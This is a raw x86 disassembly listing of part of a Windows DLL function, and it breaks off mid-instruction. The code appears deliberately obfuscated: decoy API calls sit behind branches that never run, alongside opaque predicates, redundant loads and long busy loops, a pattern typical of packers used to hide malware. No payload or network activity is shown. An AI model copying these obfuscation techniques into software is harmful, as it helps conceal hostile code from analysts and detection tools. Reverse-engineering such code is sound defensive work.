jmp 0x1000e7d9
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x71c]
mov dword [eax + ecx*4], 0x1713
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1000e7c6
xor esi, esi
inc esi
mov dword [ebp - 0x14], esi
cmp dword [ebp - 0x14], ebx
jl 0x1000e804
mov byte [ebp - 0x45], bl
cmp byte [ebp - 0x45], 0
je 0x1000e7ff
push 0x7e8
push ebx
call dword [sym.imp.USER32.dll_CharUpperBuffW]
dec dword [ebp - 0x14]
jns 0x1000e7ea
lea ecx, [ebp - 0x71c]
call fcn.1001b42d
mov dword [ebp - 0x2c], ebx
lea ecx, [ebp - 0x130]
mov dword [ebp - 0x18], 0xffffffff
push 2
call fcn.1001b3ab
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x54], 0xfffffffe
mov dword [ebp - 0x14], ebx
jmp 0x1000e849
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x130]
mov dword [eax + ecx*4], 0x915bb002
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1000e836
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 0xb
jg 0x1000e9e4
xor edx, edx
inc edx
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x2c], 0xfffffffe
mov dword [ebp - 0x20], edx
mov byte [ebp - 0x45], bl
cmp byte [ebp - 0x45], 0
je 0x1000e89c
push 0x1008
push 0xa39
push 0x126f
push 0x102a
push 0x1dab
push 0x1b44
call dword [sym.imp.GDI32.dll_PatBlt]
xor edx, edx
inc edx
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x44]
jne 0x1000e8db
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x130]
mov dword [eax], ecx
mov eax, dword [ebp - 0x18]
imul eax, ecx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x2c], ebx
je 0x1000e8d8
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x20], edx
jae 0x1000e8f0
mov eax, dword [ebp - 0x130]
mov esi, edx
cmp dword [eax + 4], ebx
jne 0x1000e8f2
mov esi, ebx
mov eax, dword [ebp - 0x54]
xor ecx, ecx
cmp esi, eax
setl cl
cmp dword [ebp - 0x18], ecx
jne 0x1000e999
push 3
lea ecx, [ebp - 0x1c4]
call fcn.1001b3ab
mov dword [ebp - 0x3c], 0x9447610b
mov dword [ebp - 0x14], ebx
jmp 0x1000e931
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c4]
mov dword [eax + ecx*4], 2
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1000e91e
cmp dword [ebp - 0x2c], ebx
je 0x1000e969
cmp dword [ebp - 0x20], ebx
jne 0x1000e944
mov eax, dword [ebp - 0x18]
imul ecx, dword [ebp - 0x44], 0xc29b
xor edx, edx
mov eax, dword [ebp - 0x130]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
mov eax, dword [ebp - 0x1c4]
setne dl
mov dword [eax + 4], edx
mov eax, dword [ebp - 0x3c]
lea ecx, [ebp - 0x1c4]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c4]
mov eax, dword [eax + 4]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jne 0x1000e9dc
call fcn.1001b42d
xor edx, edx
inc edx
jmp 0x1000e9cd
mov dword [ebp - 0x28], 0x74c77a5c
cmp dword [ebp - 0x28], ebx
je 0x1000e9bb
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], 3
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xb
jle 0x1000e85f
jmp 0x1000e9e1
call fcn.1001b42d
xor esi, esi
inc esi
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0xa
call fcn.1001b42d
mov dword [ebp - 0x20], 0x7ddc85f7
lea ecx, [ebp - 0x4c4]
push 3
call fcn.1001b3ab
mov dword [ebp - 0x14], ebx
jmp 0x1000ea1b
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x4c4]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1000ea0c
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 4
jl 0x1000ea66
mov dword [ebp - 0x24], 0xffffffff
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jne 0x1000ea45
mov eax, dword [ebp - 0x4c4]
mov dword [eax + 8], esi
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jge 0x1000ea2a
mov edi, dword [ebp - 0x40]
lea ecx, [ebp - 0x4c4]
call fcn.1001b42d
mov dword [ebp - 0x14], ebx
jmp 0x1000ea83
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x6fc], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1000ea76
mov dword [ebp - 0x54], 0x332b
cmp dword [ebp - 0x54], 0x34ed
jle 0x1000eb04
mov ecx, ebx
mov dword [ebp - 0x28], ebx
mov eax, ebx
mov dword [ebp - 0x3c], ebx
and eax, ecx
mov edi, ebx
mov dword [ebp - 0x30], eax
or eax, edi
lea ecx, [ebp - 0x9d4]
cdq
push edx
push eax
call fcn.1000d8ea
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000eac4
mov eax, dword [eax]
push eax
call fcn.10052776
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x9d4]
call fcn.1001b868
mov eax, dword [ebp - 0x30]
inc edi
cmp edi, 0x6e5
jl 0x1000eaaa
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x3c], eax
cmp eax, 0x1c67
jl 0x1000eaa3
inc ecx
mov dword [ebp - 0x28], ecx
cmp ecx, 0xa5d
jl 0x1000ea9e
mov edi, dword [ebp - 0x40]
cmp dword [ebp - 0x54], 0x3199
jge 0x1000eb18
push 0x100076c0
call fcn.10052776
pop ecx
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x18], 0xfffffffa
mov dword [ebp - 0x2c], 8
mov dword [ebp - 0x18], 0xfffffffe
jmp 0x1000eba7
mov dword [ebp - 0x20], 0xfffffffb
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x20], ebx
jmp 0x1000eb9e
push 3
lea ecx, [ebp - 0x38c]
call fcn.1001b3ab
mov dword [ebp - 0x14], ebx
jmp 0x1000eb6a
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x38c]
mov dword [eax + ecx*4], 0xef6b8f3d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1000eb57
mov eax, dword [ebp - 0x38c]
mov eax, dword [eax + 8]
mov dword [ebp - 0x30], eax
mov byte [ebp - 0x45], bl
cmp byte [ebp - 0x45], 0
je 0x1000eb90
push 0x43b
call dword [sym.imp.USER32.dll_BeginDeferWindowPos]
lea ecx, [ebp - 0x38c]
call fcn.1001b42d
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x1000eb45
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff4
jg 0x1000eb36
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setge dl
mov dword [ebp - 0x18], esi
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
cmp ecx, 0x4956e74e
setge al
xor edx, edx
cmp eax, 0x31aa08e
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
cmp eax, esi
setg cl
cmp ecx, edx
jge 0x1000ec27
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x20], 0x43eef7d
mov dword [ebp - 0x14], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x2c]
mov dword [ebp - 0x20], eax
jmp 0x1000ece6
mov dword [ebp - 0x44], 0x28ec7df
lea ecx, [ebp - 0x464]
push 2
call fcn.1001b3ab
mov dword [ebp - 0x14], ebx
jmp 0x1000ec4f
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x464]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1000ec40
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x2c], ebx
jne 0x1000ec60
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x464]
setge cl
mov dword [eax], ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x44]
add eax, 0xc16
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x44], ebx
jmp 0x1000ecd6
mov byte [ebp - 0x45], bl
cmp byte [ebp - 0x45], 0
je 0x1000ecd3
push ebx
push 0x11cf
call dword [sym.imp.USER32.dll_ClientToScreen]
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], esi
jle 0x1000ecbe
lea ecx, [ebp - 0x464]
call fcn.1001b42d
mov eax, dword [ebp - 0x34]
imul eax, dword [edi + 4]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], ebx
je 0x1000ed06
cmp dword [edi + 4], ebx
je 0x1000ed06
mov eax, dword [ebp - 0xb0]
mov ecx, esi
cmp dword [eax], ebx
jne 0x1000ed08
mov ecx, ebx
mov eax, dword [ebp - 0x34]
add eax, ecx
mov ecx, dword [edi + 4]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0xb0]
mov edi, dword [eax + ecx*4]
cmp edi, dword [ebp - 0x20]
mov edx, dword [ebp - 0xb0]
jne 0x1000ed2e
cmp dword [edx + 4], ebx
je 0x1000ed2e
mov ebx, esi
xor eax, eax
cmp ebx, 0xfffffff8
setne al
add eax, edi
imul ecx, eax, 0xfffe
sub ecx, dword [edx + 4]
mov edx, dword [ebp - 0x6f8]
neg ecx
sbb ecx, ecx
xor eax, eax
add ecx, 0x16df
cmp ecx, edi
mov edi, dword [ebp - 0x40]
setle al
xor ebx, ebx
add edx, eax
mov eax, dword [ebp - 0xb0]
mov ecx, dword [edi + 4]
cmp edx, dword [eax + ecx*4]
mov eax, dword [ebp - 0x34]
setne bl
xor ecx, ecx
cmp ebx, eax
setne cl
xor ebx, ebx
xor edx, edx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x2c], ebx
inc edx
cmp dword [ebp - 0x2c], edx
jg 0x1000f072
mov dword [ebp - 0x38], 0x648261f9
mov byte [ebp - 0x45], bl
cmp byte [ebp - 0x45], 0
je 0x1000eda8
push ebx
push 0x24bd
call dword [sym.imp.USER32.dll_RemovePropA]
mov byte [ebp - 0x45], bl
cmp byte [ebp - 0x45], 0
je 0x1000edbd
push ebx
push 0xfdf
call dword [sym.imp.USER32.dll_SetWindowTextA]
mov dword [ebp - 0x50], 0x91a049fe
lea ecx, [ebp - 0x648]
mov dword [ebp - 0x3c], 0x716b5b38
mov dword [ebp - 0x3c], 0x6f25db2b
mov dword [ebp - 0x3c], 0xa97f51ef
push 2
call fcn.1001b3ab
xor esi, esi
mov dword [ebp - 0x14], ebx
inc esi
cmp dword [ebp - 0x14], 2
jge 0x1000ee03
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x648]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x14]
jmp 0x1000edec
mov dword [ebp - 0x50], 0xffffffe2
cmp dword [ebp - 0x50], 0xffffffe9
je 0x1000eea0
or edi, 0xffffffff
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x3c], 0x9e71b35
mov dword [ebp - 0x30], edi
cmp dword [ebp - 0x24], ebx
jne 0x1000ee7d
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x24]
sub ecx, 0xc54c9751
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
setle dl
xor ecx, ecx
add edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp eax, edx
setne cl
mov dword [ebp - 0x3c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x3c], eax
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x24]
sub edx, 4
cmp edx, eax
mov eax, ebx
setge cl
mov dword [ebp - 0x3c], ecx
cmp dword [ebp - 0x3c], ebx
je 0x1000ee7f
mov eax, esi
mov dword [ebp - 0x3c], eax
xor ecx, ecx
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x3c]
cmp eax, edi
setg cl
mov dword [ebp - 0x30], ecx
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], 0xffffffe9
jne 0x1000ee17
lea ecx, [ebp - 0x648]
call fcn.1001b42d
mov byte [ebp - 0x19], bl
lea ecx, [ebp - 0x22c]
push 2
call fcn.1001b3ab
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x24], 0x667a876e
mov dword [ebp - 0x14], ebx
jmp 0x1000eede
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x22c]
mov dword [eax + ecx*4], 0xdf99ff60
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1000eecb
mov dword [ebp - 0x24], ebx
jmp 0x1000f03b
cmp dword [ebp - 0x24], esi
jle 0x1000eeec
dec dword [ebp - 0x34]
push 3
pop esi
jmp 0x1000e6f0
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x14], ebx
jmp 0x1000f096
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x694], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1000f089
cmp dword [ebp - 0x34], ebx
je 0x1000f0bb
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x1000f0d2
push 0x7e8
push ebx
call dword [sym.imp.USER32.dll_CharUpperBuffW]
xor edx, edx
inc edx
jmp 0x1000f0d2
mov dword [ebp - 0x34], ebx
jmp 0x1000f0cc
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x694], eax
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0x20
jg 0x1000f0c0
mov eax, dword [ebp - 0x20]
dec dword [edi + 4]
jmp 0x1000e6da
mov dword [ebp - 0x20], 0xfffffffa
cmp dword [ebp - 0x20], 0x1c
jl 0x1000f797
mov dword [ebp - 0x34], 0x7ddc85f7
lea ecx, [ebp - 0x3a4]
push esi
call fcn.1001b3ab
mov dword [ebp - 0x14], ebx
jmp 0x1000f115
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3a4]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1000f106
xor edi, edi
mov dword [ebp - 0x34], ebx
inc edi
cmp dword [ebp - 0x34], 4
jl 0x1000f15b
mov dword [ebp - 0x24], 0xffffffff
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jne 0x1000f141
mov eax, dword [ebp - 0x3a4]
mov dword [eax + 8], edi
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
inc dword [ebp - 0x34]
jmp 0x1000f120
lea ecx, [ebp - 0x3a4]
call fcn.1001b42d
mov dword [ebp - 0x28], 0x3396d56a
mov dword [ebp - 0x24], 0x3f4f46db
mov dword [ebp - 0x3c], 0x65e3edfa
mov dword [ebp - 0x18], ebx
jmp 0x1000f191
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x7ac], 7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1000f180
mov dword [ebp - 0x18], ebx
jmp 0x1000f1a8
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x8dc], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1000f19b
mov dword [ebp - 0x24], ebx
jmp 0x1000f1c6
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x1000f1c3
push ebx
push ebx
call dword [sym.imp.OLEAUT32.dll_VariantCopyInd]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jle 0x1000f1b2
cmp dword [ebp - 0x7ac], ebx
je 0x1000f1d9
cmp dword [ebp - 0x24], ebx
jne 0x1000f1db
mov edi, ebx
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov dword [ebp - 0x3c], eax
mov edx, dword [ebp - 0x7a8]
mov eax, dword [ebp - 0x3c]
sub edx, edi
sub eax, 0x391cb4e8
cmp edx, eax
setl cl
xor edx, edx
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
add eax, 4
inc edx
mov dword [ebp - 0x8d4], eax
mov dword [ebp - 0x28], edx
cmp dword [ebp - 0x28], ebx
jl 0x1000f78c
or eax, 0xffffffff
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x2c], 0x38a1
mov dword [ebp - 0x44], 0x39281c1d
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x24], 0xdeb47635
mov dword [ebp - 0x34], 0x34c8a1b6
mov dword [ebp - 0x4c], 0x409415f9
cmp dword [ebp - 0x2c], ebx
je 0x1000f259
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0x40], 0xfffffffc
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
setg dl
xor ecx, ecx
imul edx, edx, 0xc010
sub edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x2c]
cmp edx, eax
setle cl
cmp ecx, 0xfffffffd
jle 0x1000f29a
cmp dword [ebp - 0x2c], ebx
je 0x1000f29a
xor edi, edi
inc edi
mov edx, edi
jmp 0x1000f29f
xor edi, edi
mov edx, ebx
inc edi
mov eax, dword [ebp - 0x40]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setg dl
xor ecx, ecx
cmp edx, eax
setne cl
neg ecx
jne 0x1000f2c4
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x24], ebx
mov eax, dword [ebp - 0x24]
add eax, 0x1db4ec4f
imul eax, dword [ebp - 0x2c]
test eax, eax
je 0x1000f2fb
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x1000f64a
push ebx
push ebx
push 0x168
push 0x23c0
call dword [sym.imp.USER32.dll_SendMessageW]
jmp 0x1000f64a
mov dword [ebp - 0x40], 0xe228
mov dword [ebp - 0x50], 0x22c2
mov dword [ebp - 0x3c], 0x5738
cmp dword [ebp - 0x3c], 0x5845
jle 0x1000f376
mov ecx, ebx
mov dword [ebp - 0x14], ebx
mov esi, ebx
mov eax, esi
and eax, ecx
lea ecx, [ebp - 0xaac]
cdq
push edx
push eax
call fcn.1000d8ea
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000f33c
mov eax, dword [eax]
push eax
call fcn.10052776
pop ecx
push ebx
push edi
lea ecx, [ebp - 0xaac]
call fcn.1001b868
mov ecx, dword [ebp - 0x14]
inc esi
cmp esi, 0x7402
jl 0x1000f320
inc ecx
mov dword [ebp - 0x14], ecx
cmp ecx, 0x6392
jl 0x1000f31e
push 0x365
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [ebp - 0x14], 0xffffffff
cmp dword [ebp - 0x3c], 0x53e6
jge 0x1000f391
push 0x10007740
call fcn.10052776
pop ecx
mov dword [ebp - 4], 0xa
xor ecx, ecx
mov dword [ebp - 0x3c], 0xfffffff6
inc ecx
mov dword [ebp - 0x14], ebx
jmp 0x1000f3b8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xb8], 0x90c99e84
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1000f3a7
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], 0xfffffff9
jl 0x1000f5cd
push ecx
lea ecx, [ebp - 0x180]
call fcn.1001b3ab
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x3c], 0x1d664853
mov dword [ebp - 0x18], 0x569a
cmp dword [ebp - 0x18], 0x5863
jle 0x1000f46e
mov eax, ebx
xor edi, edi
mov dword [ebp - 0x2c], eax
inc edi
mov dword [ebp - 0x54], ebx
mov ecx, eax
mov dword [ebp - 0x3c], 0x1318
mov dword [ebp - 0x14], ecx
mov esi, ebx
mov eax, ecx
mov ecx, esi
sar eax, cl
lea ecx, [ebp - 0xa04]
cdq
push edx
push eax
call fcn.1000d8ea
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000f428
mov eax, dword [eax]
push eax
call fcn.10052776
pop ecx
push ebx
push edi
lea ecx, [ebp - 0xa04]
call fcn.1001b868
mov ecx, dword [ebp - 0x14]
inc esi
cmp esi, 0x8b8
jl 0x1000f40a
mov eax, dword [ebp - 0x54]
add ecx, eax
dec dword [ebp - 0x3c]
mov dword [ebp - 0x14], ecx
jne 0x1000f408
dec eax
mov dword [ebp - 0x54], eax
cmp eax, 0xffff97cd
mov eax, dword [ebp - 0x2c]
jg 0x1000f3fc
inc eax
mov dword [ebp - 0x2c], eax
cmp eax, 0x5375
jl 0x1000f3f9
xor edx, edx
mov dword [ebp - 0x14], ebx
inc edx
jmp 0x1000f489
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x180]
mov dword [eax + ecx*4], 0x7bfbc35c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1000f476
cmp dword [ebp - 0x18], 0x55df
jge 0x1000f4a5
push 0x10007788
call fcn.10052776
xor edx, edx
pop ecx
inc edx
mov dword [ebp - 4], 0x15
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ebx
jg 0x1000f5ac
jmp 0x1000f4bd
xor edx, edx
inc edx
mov dword [ebp - 0x30], 0x3def5731
mov dword [ebp - 0x54], 0xc42121a6
mov dword [ebp - 0x14], ebx
jmp 0x1000f4dd
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x84], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1000f4d0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x84]
mov edx, dword [ebp - 0x18]
sub edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x40]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
setge cl
add ecx, 0x405d06f7
je 0x1000f517
cmp dword [ebp - 0x40], ebx
je 0x1000f517
xor edi, edi
inc edi
mov ecx, edi
jmp 0x1000f51c
xor edi, edi
mov ecx, ebx
inc edi
xor eax, eax
mov dword [ebp - 0x84], ecx
cmp ecx, 0x676e
setg al
cmp eax, 0x1ea52fa5
jge 0x1000f537
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x18]
xor ecx, ecx
mov edx, dword [ebp - 0x84]
mov eax, dword [ebp - 0x50]
imul edx, eax
mov eax, dword [ebp - 0x44]
sub edx, eax
mov eax, dword [ebp - 0x50]
cmp edx, eax
mov eax, dword [ebp - 0x180]
setl cl
xor edx, edx
add ecx, dword [eax + esi*4]
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x180]
cmp dword [eax + ecx*4], edi
mov eax, dword [ebp - 0x50]
setg dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x44], ebx
jmp 0x1000f59b
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x180]
cmp dword [eax + ecx*4], ebx
jne 0x1000f5a0
inc dword [ebp - 0x54]
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], ebx
jle 0x1000f587
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x1000f4ba
mov dword [ebp - 0x14], 9
lea ecx, [ebp - 0x180]
mov byte [ebp - 4], 0xa
call fcn.1001b42d
dec dword [ebp - 0x24]
xor ecx, ecx
inc ecx
jmp 0x1000f3c0
mov eax, dword [ebp - 0xb8]
xor edx, edx
test eax, eax
mov eax, dword [ebp - 0x24]
sets dl
xor ecx, ecx
cmp edx, eax
setle cl
xor edx, edx
add ecx, dword [ebp - 0x34]
test ecx, ecx
setle dl
xor eax, eax
sub edx, dword [ebp - 0x50]
test edx, edx
setg al
xor edx, edx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
cmp eax, edx
setle cl
cmp ecx, 0xc13529c6
sbb eax, eax
neg eax
cmp eax, dword [ebp - 0x50]
je 0x1000f634
cmp dword [ebp - 0x44], ebx
je 0x1000f634
xor edi, edi
inc edi
jmp 0x1000f636
mov edi, ebx
mov eax, dword [ebp - 0x34]
add eax, edi
imul eax, eax, 0xa9b9
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
sub eax, 0x8f27
imul eax, dword [ebp - 0x4c]
add eax, 0x5061d2e8
cmp dword [ebp - 0x24], eax
je 0x1000f672
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x34]
xor edx, edx
inc edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x40], edx
cmp dword [ebp - 0x40], ebx
jl 0x1000f784
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x34], ebx
jmp 0x1000f772
mov dword [ebp - 0x2c], 0xd5e48d32
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x2c], 0xfffffff6
jmp 0x1000f757
mov dword [ebp - 0x24], 0x665683c8
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], 0xe
jg 0x1000f754
mov dword [ebp - 0x3c], edx
xor ecx, ecx
mov dword [ebp - 0x3c], 5
mov eax, dword [ebp - 0x24]
sub eax, 0x7296
cmp ecx, eax
sbb eax, eax
neg eax
add eax, dword [ebp - 0x3c]
je 0x1000f6e2
mov ecx, edx
cmp dword [ebp - 0x2c], ebx
jne 0x1000f6e4
mov ecx, ebx
mov eax, dword [ebp - 0x2c]
sub ecx, eax
xor eax, eax
cmp ecx, 0x5af9
setge al
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], ebx
jne 0x1000f703
mov eax, ebx
cmp dword [ebp - 0x24], ebx
je 0x1000f705
mov eax, edx
mov dword [ebp - 0x3c], ebx
mov edx, dword [ebp - 0x3c]
sub edx, eax
mov eax, dword [ebp - 0x24]
neg edx
push 0
sbb edx, edx
xor ecx, ecx
